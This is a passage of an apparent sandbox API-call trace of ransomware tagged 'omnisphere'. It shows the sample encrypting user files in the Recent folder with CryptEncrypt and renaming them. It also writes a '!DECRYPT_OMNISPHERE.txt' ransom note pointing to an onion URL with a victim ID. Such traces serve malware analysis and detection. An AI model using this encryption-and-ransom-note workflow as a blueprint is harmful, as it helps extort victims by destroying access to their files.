dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.669] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.670] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.670] CryptDestroyKey (hKey=0x1639868) returned 1 [0119.670] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0119.670] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x504, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.670] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.670] GetProcessHeap () returned 0x1600000 [0119.670] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16be2a0 [0119.670] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\biultga5fv_8e8cfhui.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\biultga5fv_8e8cfhui.lnk.omnisphere")) returned 1 [0119.671] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk.omnisphere.id" [0119.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\biultga5fv_8e8cfhui.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.672] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.673] CloseHandle (hObject=0x3c0) returned 1 [0119.674] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.674] CloseHandle (hObject=0x288) returned 1 [0119.675] SetEndOfFile (hFile=0x28c) returned 1 [0119.675] FlushFileBuffers (hFile=0x28c) returned 1 [0119.679] CloseHandle (hObject=0x28c) returned 1 [0119.679] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.679] GetProcessHeap () returned 0x1600000 [0119.680] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be568 [0119.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.680] GetProcessHeap () returned 0x1600000 [0119.680] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b21a8 [0119.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b21a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.680] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.680] GetProcessHeap () returned 0x1600000 [0119.680] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afe28 [0119.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afe28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.680] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.680] GetProcessHeap () returned 0x1600000 [0119.680] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a30b0 [0119.680] PathCombineW (in: pszDest=0x16a30b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.680] GetProcessHeap () returned 0x1600000 [0119.680] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b7f40 [0119.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.681] WriteFile (in: hFile=0x28c, lpBuffer=0x16b7f40*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b7f40*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.681] CloseHandle (hObject=0x28c) returned 1 [0119.681] GetProcessHeap () returned 0x1600000 [0119.681] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be568 | out: hHeap=0x1600000) returned 1 [0119.681] GetProcessHeap () returned 0x1600000 [0119.681] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.681] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.681] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.682] CloseHandle (hObject=0x28c) returned 1 [0119.682] GetProcessHeap () returned 0x1600000 [0119.682] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.682] GetProcessHeap () returned 0x1600000 [0119.682] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a2ff8 | out: hHeap=0x1600000) returned 1 [0119.682] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d945bc6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1d945bc6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1d945bc6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="bRyEd0espQWz0t7k.lnk", cAlternateFileName="BRYED0~1.LNK")) returned 1 [0119.682] GetProcessHeap () returned 0x1600000 [0119.682] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16a2ff8 [0119.682] PathCombineW (in: pszDest=0x16a2ff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="bRyEd0espQWz0t7k.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk" [0119.682] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bryed0espqwz0t7k.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.683] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1133) returned 1 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.683] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] GetTickCount () returned 0x115de75 [0119.684] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0119.685] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b68) returned 1 [0119.685] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.685] CryptDestroyKey (hKey=0x1639b68) returned 1 [0119.685] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0119.685] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46d, lpName=0x0) returned 0x288 [0119.685] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46d) returned 0x1480000 [0119.685] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0119.686] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.686] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.686] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.686] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.686] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.686] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.686] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | 